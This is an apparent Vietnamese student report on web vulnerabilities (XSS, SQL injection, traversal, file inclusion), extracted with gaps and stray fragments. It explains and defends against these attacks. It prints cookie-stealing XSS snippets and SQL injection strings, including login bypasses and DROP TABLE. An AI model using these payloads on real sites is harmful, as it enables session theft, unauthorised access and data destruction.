Mục lục
MỘT SỐ LỖ HỔNG BẢO MẬT
THƯỜNG GẶP CỦA CÁC DỊCH VỤ WEB
PHẦN I. TỔNG QUAN
Chương 1. Lý do lựa chọn đề tài
Ngày nay, khi ngành công nghiệp máy tính đang lớn mạnh và trở nên thịnh hành, các ứng
dụng của nó vào thực tế đang được triển khai rộng rãi thì cũng là lúc các vấn đề về “tội phạm tin
học” phát triển mạnh mẽ.
Một trong các ứng dụng thịnh hành hiện nay là việc tạo các website phục vụ cho việc giao
tiếp, quảng bá, kinh doanh … của các công ty, cơ quan, đoàn thể. Tuy nhiên, việc phát triển một
ứng dụng web với việc bảo mật web ở Việt Nam hiện nay vẫn chưa được đồng bộ cùng nhau.
Người ta ít quan tâm tới các nguy cơ bị tấn công của các trang web, hoặc có chăng cũng chỉ là
các biện pháp ngăn chặn không hiệu quả. Theo Symantec và các chuyên gia trong lĩnh vực an
toàn thộng tin, tình trạng mất an toàn thông tin và số lượng các vụ tấn công ngày càng cao làm
Việt Nam có nguy cơ trở thành ổ máy tính ma lớn trên thế giới. Ngày 12/5/2010, theo công bố
của Symantec, Việt Nam xếp thứ 19, tăng 1 bậc so với năm 2009. Mức đe doạ mã độc xếp thứ 12
trong khi năm trước chỉ đứng ở vị trí 24; Hệ thống máy chủ bị lởi dụng để lừa đảo trực tuyến là
33 (năm 2009 là 42); Đe doạ về máy tính bị nhiễm phần mềm điều khiển của tin tặc xếp thứ 45
trong khi năm 2009 là thứ 51. Theo ông Nguyễn Minh Đức, giám độc bộ phận an ninh mạng
BKIS, thực tế mức độ nghiêm trọng an toàn thông tin của Việt Nam năm 2010 có tăng tương đối
so với năm 2009 cả về số lượng máy tính nhiễm virus, số lượng máy chủ, website bị tấn công.
“Ngay như năm 2011, chỉ tính riêng tháng 5 đã có đến 200 vụ tấn công các website, bằng khoảng
1/5 so với cả năm 2010” – ông Đức dẫn chứng.
Vậy đâu là nguyên nhân của các cuộc tấn công vào các trang web? Việc quản lý lỏng lẻo
cùng với
Làm cách nào để giảm thiểu tối đa khả năng tấn công của “cracker” vào trang web? Đó luôn
là vấn đề của các nhà thiết kế, quản trị website. Biết rõ cớ chế hoạt động cũng như cách thức tấn
công của cracker để có biện pháp ngăn ngừa là một việc làm cần thiết. Đó là lý do nhóm lựa
chọn đề tài “Tìm hiểu một số lỗ hổng bảo mật thường gặp trên các ứng dụng web”
Chương 2. Nguyên lý hoạt động cơ bản của web
I. Nguyên tắc hoạt động của máy chủ web

máy chủ và sử dụng cùng một địa chỉ IP duy nhất. Ví dụ, trên máy chủ của
HowStuffWorks, địa chỉ IP là 209.116.69.66, nhưng nó có hàng trăm tên miền khác nhau
cùng tồn tại.
II. Trang web động là gì?
Máy tìm kiếm (Search engine), thí dụ Google, cho phép gõ vào các từ khóa trong
một ô điền (form) HTML, sau đó máy tự động trả lại các trang web có chứa những từ
khóa đó. Cơ sở dữ liệu của máy cho phép bạn đưa vào tên miền trong form HTML và nội
dung những trang web được gửi trả lại sẽ thay đổi tùy thuộc vào tên miền mà bạn gõ vào.
Trong tất các trường hợp trên, máy chủ web không chỉ đơn giản là “tìm kiếm một tệp”.
Nó thực sự là một quá trình xử lý thông tin rồi kết xuất ra trang web dựa trên các kết quả
truy vấn. Trong hầu hết các trường hợp trên, máy chủ web thường sử dụng các đoạn
chương trình ASP, JSP, PHP và các đoạn mã CGI scripts để giải quyết bài toán
III. Dịch vụ web
Dịch vụ web (WS: Web Service) là một phương thức tích hợp các ứng dụng trên nền
web. Mỗi ứng dụng trên nền web có thể sử dụng các thành phần khác nhau để tạo thành
một dịch vụ web.
Dòng tiến trình của một dịch vụ web bao gồm các bước sau:
Hình 1.7. Dòng tiến trình của một dịch vụ web
1. Phát hiện - Tìm kiếm các dịch vụ web thích hợp trên một Web Site UDDI.
2. Mô tả - Web Site UDDI trả lời bằng một tệp WSDL mô tả về dịch vụ web thích
hợp cho ứng dụng client.
3. Tạo Proxy - Tạo ra một Proxy cục bộ cho dịch vụ từ xa. Hiện nay không có chuẩn
cho việc này. Proxy chuyển một phương tiện khởi động phương thức (method
invocation) của đối tượng thành một thông báo XML và ngược lại.
4. Tạo thông báo SOAP - Tạo ra một thông báo SOAP/XML và gửi đến địa chỉ URL
được xác định trong tệp WSDL.
5. Nhận cuộc gọi và diễn dịch - SOAP Listener là một bộ phận chương trình chạy
trên máy chủ để thu nhận cuộc gọi và diễn dịch nó cho dịch vụ web.
6. Thực hiện - Dịch vụ Web thực hiện các chức năng của mình và trả kết quả về cho
client, thông qua listener và proxy.

Qua các thông tin trên, có thể thấy được rằng web có vẻ rất an toàn và bảo mật, thế nhưng vẫn
còn tồn tại những lỗ hổng bảo mật cực kì nguy hiểm. Vậy hiện nay, các lỗ hổng bảo mật phổ
biến là gì? Và mức độ nguy hiểm, cách thức hoạt động của chúng ra sao?
PHẦN II. MỘT SỐ LỖ HỒNG BẢO MẬT THƯỜNG GẶP
Mặc dù web được bảo mật bằng những phương thức khác nhau, thế nhưng cracker là những
người rất tinh vi. Họ tìm tòi và suy nghĩ ra những phương pháp tấn công thông minh và độc đáo
dựa trên các lỗ hổng của các ứng dụng web. Dưới đây là một số phương pháp tấn công phổ biến
1 Cross Site Scripting (XSS)
Vào tháng 10 năm 2005, một người dùng đăng nhập tài khoản ở MySpace và xem profile
của người khác. Trình duyệt xử lý JavaScript của trang này tự động update trên user profile
thông báo là một người tên Samy là người hùng của họ. Một người bạn của người này vào xem
profile và đồng ý trên profile rằng Samy là người hùng Và sau đó nhiều người cùng đồng ý
Samy là người hùng trong khi không biết Samy là ai. Sau 24 giờ, Samy có trên 1 triệu bạn bè, và
MySpace bị tắc nghẽn lưu lượng. Samy đã sử dụng XSS với khoảng 4000 ký tự text, tạo nên một
cuộc tấn công DoS và MySpace, một công ty có số server lên đến hàng ngàn. Cuộc tấn công của
Samy được dùng để tham khảo cho các cuộc tấn công sử dụng XSS sau này. (Cuộc phỏng vấn
Samy có thể xem tại ).
XSS có thể được dùng kèm với keylogger để ăn cắp mật khẩu tài khoản ngân hàng, tài
khoản ngân hàng, tài khoản game online hoặc có thể được dùng để lấy cookies từ nạn nhân.
Phương pháp này tuy đơn giản nhưng rất nguy hiểm đối với những người dùng web.
Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay,
đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web
và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin
mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.
I XSS là gì?
Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh
nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách
chèn vào các website động (ASP, PHP, CGI, JSP ) những thẻ HTML hay những đoạn
mã script nguy hiểm có thể gây nguy hại cho người dùng. Những đoạn mã nguy hiểm này
đựơc chèn vào hầu hết viết bằng các Client-Site Script như JavaScript, JScript, DHTML

nghĩa với việc mail của người dùng có thể đã mất mật khẩu. Trước đây, hàng loạt các hộp
thư của Yahoo bị mất mật khẩu hay bị đọc trộm thư mà không rõ nguyên nhân. Có lẽ khi
đó các email được mở mà không hề cảnh giác với XSS. Không phải chỉ các file đính kèm
mới có thể gây nguy hiểm cho người dùng. Chỉ cần với một đoạn mã HTML gửi trong
email của người dùng đã hoàn toàn bị mất cookie:
<form action="
method="post" name="XSS">
<input type="hidden" name="cookie">
</form>
<img border="0" onmouseover = "window.document.XSS.cookie.value
= document.cookie;window.document.XSS.submit();" src="none.jpg">
Khi nhận thư, và nếu bức hình gửi kèm được trỏ tới thì đồng nghĩa với việc đoạn mã
trên được kích hoạt và người dùng sẽ bị mất cookie. Và với cookie lấy được, các hacker
có thể dễ dàng đăng nhập vào hòm thư đó mà không cần biết mật khẩu.
Yahoo khi đó đã ngăn được hầu hết các mối đe doạ từ các thẻ HTML nhưng lại bỏ
qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo đã kịp thời vá lỗ hỗng nghiêm
trọng này, như vậy không có nghĩa là người dùng không cần cảnh giác với những "lỗi"
của website. Một liên kết có dạng:

Chắc chắn sẽ khiến cho người dùng phải xem xét kĩ trước khi click vào, có thể là sẽ
tắt JavaScript cho trình duyệt trước khi click vào hay ít nhất cũng có một chút cảnh giác.
Nhưng nếu gặp liên kết:

Đó thực chất chính là liên kết ban đầu nhưng chỉ khác nó đã được mã hoá. Một phần
kí tự của liên kết đã được thay thế bởi mã HEXA của nó, tất nhiên trình duyệt vẫn hiểu
địa chỉ đó thực sự là gì. Bởi vậy người dùng có thể sẽ gặp phải các đoạn mã nguy hiểm
nếu như mất cảnh giác với XSS.
Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu
(request) được gửi từ các máy client tới server nhằm chèn vào đó các thông tin vượt quá
tầm kiểm soát của server. Nó có thể là một request được gửi từ các form dữ liệu hoặc

thể để lại những lời nhắn như sau:
Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau:
Xin <script>alert(“XSS”)</script>chào!
Kết quả:
Ở đây, đoạn mã <script>alert(“XSS”)</script> được chèn vào trong lời nhắn, và
ngay lập tức nó được thực thi như hình trên. Vì các lời nhắn được lưu trữ trong database
nên bất cứ người dùng nào khi truy cập vào, trang web này sẽ thực thi đoạn mã trên. Thay
vì một đoạn mã vô hại như trên, hacker có thể thay bằng các đoạn mã nguy hiểm khác
nhằm gây hại đến người dùng.
2. Reflected – XSS:
Trong hình thức này, kẻ tấn công thường gắn thêm đoạn mã độc vào URL của
website và gửi đến nạn nhân. Nếu nạn nhân truy cập URL đó thì sẽ bị dính mã độc. Điều
này xảy ra do ta không chú ý filter input từ URL của website.
Khác với Store – XSS, Reflected – XSS đoạn mã khai thác sẽ không được lưu trữ
trên server. Một ví dụ điển hình của Reflected-XSS là kết quả trả về của module search:
Ta thấy từ khóa tìm kiếm mà ta nhập vào ô textbox được hiển thị lại trên trình duyệt.
Lợi dụng việc không kiểm soát giá trị này, ta có thể chèn thêm đoạn mã gây hại vào.
Đường link sẽ có dạng:
/>Tuy nhiên đoạn mã độc hại không được lưu lại trên server nên chỉ khi chạy đường
link trên, người dùng mới bị tấn công.
Kịch bản điển hình nhất khi khai thác XSS là hacker chèn đoạn javascript như sau
vào website:
<script>
document.write("<iframe width=0 height=0 src =
,document.cookie,">")
</script>
Một iframe với kích thước 0×0 được chèn vào trang web và sẽ tự động load trang lấy
cookie của hacker tại địa chỉ . Khi có được cookie, hacker
có thể dễ dàng đăng nhập mà không cần biết mật khẩu của người dùng.
VII. Phát hiện XSS bằng cách nào?

my $query = $cgi->param('query');
print $cgi->header();
print "You entered $query";
Đây hoàn toàn là một script có lỗi bởi vì nó in ra trực tiếp dữ liệu được nhập vào. Dĩ
nhiên là khi in ra, nó sẽ in ra dưới dạng đoạn mã HTML, như thế nó không chỉ không in
ra chính xác những dữ liệu vào một cách trực quan mà còn có tiềm ẩn lỗi XSS.
Như đã nói ở trên, để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự
đặc biệt của HTML với hàm HTML::Entities::encode(). Như vậy ta có thể có một mã
nguồn hoàn hảo hơn như sau:
#!/usr/bin/perl
use CGI;
use HTML::Entities;
my $cgi = CGI->new();
my $text = $cgi->param('text');
print $cgi->header();
print "You entered ", HTML::Entities::encode($text);
Tất nhiên với phương pháp này bạn cũng có thể áp dụng đối với các ngôn ngữ Web
Application khác (ASP, PHP ). Để kiểm tra việc lọc và mã hoá dữ liệu trước khi in ra,
các bạn có thể dùng một chương trình được viết bằng ngôn nhữ PHP, đặc biệt nó được
thiết kế để phòng chống các lỗi XSS. Bạn có thể lấy mã nguồn chương trình từ
lọc và mã hoá các dữ liệu là cách tốt nhất để
chống XSS nhưng nếu bạn đang sử dụng mod_perl trên Apache Server thì bạn có thể
dùng ngay module Apache::TaintRequest. Khi đó mã nguồn chương trình sẽ có dạng :
use Apache::TaintRequest;
my $apr = Apache::TaintRequest->new(Apache->request);
my $text = $apr->param('text');
$r->content_type("text/html");
$r->send_http_header;
$text =~ s/[^A-Za-z0-9 ]//;
$r->print("You entered ", $text);

muốn. Nó là một ví dụ của sự rủi ro khi một ngôn ngữ lập trình hay ngôn ngữ kịch bản
được nhúng trong một ngôn ngữ khác. Tấn công SQL injection còn có thể hiểu là hình
thức tấn công chèn bất hợp pháp các đoạn mã SQL.
X. Các dạng lỗi thường gặp
1 Không kiểm tra ký tự thoát truy vấn
Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu vào
trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một số truy vấn
không mong muốn đối với cơ sở dữ liệu của ứng dụng. Dòng mã sau sẽ minh họa lỗi này:
statement = "SELECT * FROM users WHERE name = '" +
userName + "';"
Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ bảng
những người dùng. Tuy nhiên, nếu biến "userName" được nhập theo một cách nào đó bởi
người dùng ác ý, nó có thể trở thành một câu truy vấn SQL với mục đích xấu. Ví dụ, ta
nhập vào giá trị của biến userName như sau:
a' or 't'='t
Khiến câu truy vấn có thể được hiểu như sau:
SELECT * FROM users WHERE name = 'a' OR 't'='t';
Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên thì kẻ tấn
công có thể đăng nhập được vào website bởi 't'='t' luôn đúng. Hầu hết các SQL server
cho phép thực hiện nhiều truy vấn cùng lúc chỉ với một lần gọi, một số SQL API như
mysql_query của php lại không cho phép điều đó vì lý do bảo mật. Tuy nhiên, điều này
chỉ ngăn cản tin tặc tấn công bằng cách sử dụng các câu lệnh riêng rẽ chứ không ngăn cản
tin tặc thay đổi các từ trong cú pháp truy vấn. Các giá trị của biến "userName" trong câu
truy vấn dưới đây sẽ trở thành một lệnh xoá những người dùng từ bảng người dùng,
tương tự như việc xóa tất cả các dữ liệu có được từ bảng dữ liệu. Ví dụ này minh họa
bằng một API cho phép thực hiện nhiều truy vấn cùng lúc:
a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't
Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT
* FROM DATA WHERE 't' = 't';

Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu truy
vấn, làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này.
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd'
AND 1=1;
Sẽ hiển thị một trang một cách bình thường, trong khi:
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd'
AND 1=2;
sẽ hiển thị một nội dung khác, hoặc không hiển thị gì nếu ứng dụng web có chứa lỗi
SQL injection dạng này. Lỗ hổng dạng này còn cho phép tin tặc không chỉ gây ảnh
hưởng tới bảng hay dữ liệu hiện tại mà còn ảnh hưởng tới những dữ liệu hay bảng khác
phụ thuộc vào nội dung của dữ liệu hay bảng hiện tại.
7. Điều kiện lỗi
Lỗi SQL injection dạng này dẫn tới việc buộc cơ sở dữ liệu chỉ được phép đánh giá
khi mà giá trị của câu lệnh WHERE là đúng. Ví dụ:
SELECT 1/0 FROM users WHERE username='Ralph';
Phép chia cho 0 chỉ được đánh giá là lỗi khi mà người dùng có tên "Ralph" tồn tại
trong cơ sở dữ liệu.
8. Thời gian trễ
Lỗi SQL injection dạng này tồn tại khi thời gian xử lý của một hay nhiều truy vấn
SQL phụ thuộc vào dữ liệu logic được nhập vào hoặc quá trình xử lý truy vấn của SQL
engine cần nhiều thời gian. Tin tặc có thể sử dụng lỗi SQL injection dạng này để xác định
thời gian chính xác mà trang cần tải khi giá trị nhập vào là đúng.
XI. Một số dạng tấn công thường gặp với các ứng dụng web
Có bốn dạng tấn công thường gặp bao gồm: vượt qua kiểm tra lúc đăng nhập, sử dụng câu
lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures.
1 Dạng tấn công vượt qua kiểm tra lúc đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào
lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Thông
thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống
thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập

trong cả 2 ô nhập liệu username/password của trang login.htm là: 'OR=. Lúc này, câu
truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME =''OR''=''
AND USR_PASSWORD= ''OR''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và đoạn mã
tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp
lệ.
9. Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn công
phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm
các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các trang tìm kiếm. Các trang này
cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường
gặp là:
<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' "
& _ vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
…
Set objRS = Nothing %>
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào
trường tên tác giả bằng chuỗi giá trị:
' UNION SELECT ALL SELECT OtherField FROM OtherTable
WHERE ' '=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện thêm
lệnh tiếp theo sau từ khóa UNION nữa. Giả sử đoạn mã nhập vào là:
' DROP TABLE T_AUTHORS –
Câu truy vấn sẽ thực hiện việc xóa bảng.

đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.
fg
XII. Tác hại của SQL Injection
Tác hại của dạng tấn công SQL Injection tùy thuộc vào môi trường và cách cấu hình hệ
thống. Nếu ứng dụng sử dụng quyền DBO (quyền của người sở hữu CSDL) khi thao tác dữ liệu,
nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới Nếu ứng dụng sử dụng quyền
SA (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ CSDL và thậm chí có thể tạo ra
các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn.
XIII. Chống tấn công kiểu SQL Injection
Lỗ hổng SQL Injection xảy ra khi kết hợp cả 2 điều kiện:
− Có sự truy vấn tới cơ sở dữ liệu
− Câu truy vấn chưa được kiểm tra sự an toàn.
Có thể kh•ng định chắc chắn rằng, một biến được nhập vào từ người dùng, qua nhiều bước
xử lý trung gian mà không có bất cứ bước nào kiểm tra sự an toàn của nó rồi đem query tới cơ sở
dữ liệu thì chắc chắn sẽ mắc lỗ hổng SQL Injection. Đây cũng chính là điểm mấu chốt để nhận
diện và phòng chống lỗ hổng SQL Injection.
1 Kiểm soát chặt chẽ dữ liệu nhập vào
Để phòng tránh các nguy cơ có thể xảy ra, cần kiểm soát chặt chẽ tất cả các dữ liệu
nhập nhận được từ đối tượng Request (Request, Requset.QueryString, Request.Form,
Request. Cookies, Request.ServerVariables ). Ví dụ, có thể giới hạn chiều dài chuỗi nhập
liệu, hoặc xây dựng hàm EscspeQuotes để thay thế các dấu nháy đơn bằng bao dấu nháy
đơn như:
<%
Function EscapeQuoctes(sInput)
sInput = replace(sInput, “ ‘ ”, “ ‘’ ”)
EscapeQuotes = sInput
5
End Function
%>
Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trị

xp_sendmail
Chương 4. Một số lỗ hổng bảo mật khác
I HTTP Response Splitting
− Lỗi HTTP Response Splitting (HTTP RS) tấn công vào ứng dụng web và diễn ra khi
nó không thể xử lý đúng các thông tin đầu vào người dùng nhập.
− Kẻ tấn công từ xa có thể gửi một yêu cầu HTTP đặc biệt làm cho mày chủ web định
dạng yêu cầu nhầm tưởng rằng nó chưa hai yêu cầu HTTP.
− Chỉ yêu cầu thứ nhất được xử lý bởi người sử dụng. HTTP RS cho phép tiến hành
một lượng lớn các cuộc tấn công kiểu như web cache poisioning, deface, cross user
defacement, chặn và ăn cắp thông tin người dùng, XSS.
XIV. Directory traversal
− Directory traversal hay còn được biết đến với một số tên khác như là “dot dot slash”,
“Path traversal”, “directory clumbing” và “back tracking” là hình thức tấn công truy
cập đến những file và thư mục được lưu bên ngoài thư mục webroot.
− Hình thức tấn công này không cần sử dụng một công cụ nào mà chỉ đơn thuần thao
tác các biến với /(dot dot slash) để truy cập đến file, thư mục, bao gồm cả source
code, những file hệ thống…
− Những hàm của ngôn ngữ lập trình Web có khả năng gây lỗi Path Traversal như sau:
o PHP: include(), include_once(), require(), require_once(), fopen(), readfile()
o JSP/Servlet: java.io.File(), java.io.FileReader(), …
o ASP: include file, include virtual, …
XV. File Inclusion Attacks
− File Inclusion là gì?
o Khi một trang web sử dụng các lệnh include, require … để gọi đến một file
khác và sơ ý đề cho người dùng có thể thay đổi file cần gọi đến. Lỗi này đồng
nghĩa với việc website đang đứng trước nguy cơ bị tấn công File Inclusion.
o Tùy vào mức độ bảo mật của server, hacker cóthể include đến file trên server
đó hoặc include đến file trên server khác. Với từng mức độ khác nhau hacker
có thể có nhiều cách để up shell.
− Mức độ nguy hiểm rất cao.

Không. Nếu bạn là quản trị website thì chỉ có bạn mới có thể chủ động thực hiện việc
quét lỗ hổng website của bạn.
14. Làm thế nào để tôi chứng minh mình là quản trị của một wesbite?
Trước khi thực hiện lệnh quét, bạn sẽ được Bkav WebScan yêu cầu phải chứng minh
quyền quản trị của website. Bkav WebScan sẽ sinh ra ngẫu nhiên một file text, có dung
lượng 40 bytes. Bạn cần phải upload file text đó lên website bạn cần quét. Bkav
WebScan sẽ kiểm tra sự tồn tại của file này trên website của bạn để xác nhận quyền quản
trị của bạn.
15. Bkav WebScan có hỗ trợ quét các website sử dụng giao thức https không?
Có.
16. Thời gian quét mất khoảng bao nhiêu lâu?
Thời gian quét phụ thuộc vào độ lớn website của bạn cũng như cấu hình quét bạn
chọn. Trung bình thời gian quét có thể kéo dài từ 2h đến 48h.
17. Khi tôi đang cho thực hiện quét thì có được đóng cửa sổ trình duyệt hay không?
Được. Việc bạn đóng cửa sổ trình duyệt không ảnh hưởng tới quá trình quét, vì lệnh
quét vẫn đang được thực hiện tại máy chủ của Bkav WebScan.
18. Tôi có thể cùng lúc quét nhiều website không?
Được. Nếu bạn đang quản trị nhiều website, bạn có thể thực hiện quét các website
này cùng một lúc.
19. Kết quả quét được thông báo với tôi như thế nào?
Sau khi quét xong, kết quả sẽ được thông báo tới bạn qua email. Bên cạnh đó, kết
quả cũng được lưu trên website webscan.bkav.com.vn
20. Sau khi nhận được thông báo của WebScan về các lỗ hổng trên website của tôi thì tôi
sẽ phải giải quyết như thế nào?
Với những lỗ hổng được thông báo bởi WebScan, bạn sẽ được chỉ dẫn khắc phục
một cách cụ thể. Từ đó, bạn sẽ có thể sửa chữa các lỗ hổng này trên website của bạn.
Tài liệu tham khảo
http://www.4guy sfromrolla.com/webtech/061902-1.shtml
http://www .sqlsecurity.com/DesktopDefault .aspx?tabindex=2&tabid=3
sql_injection.pdf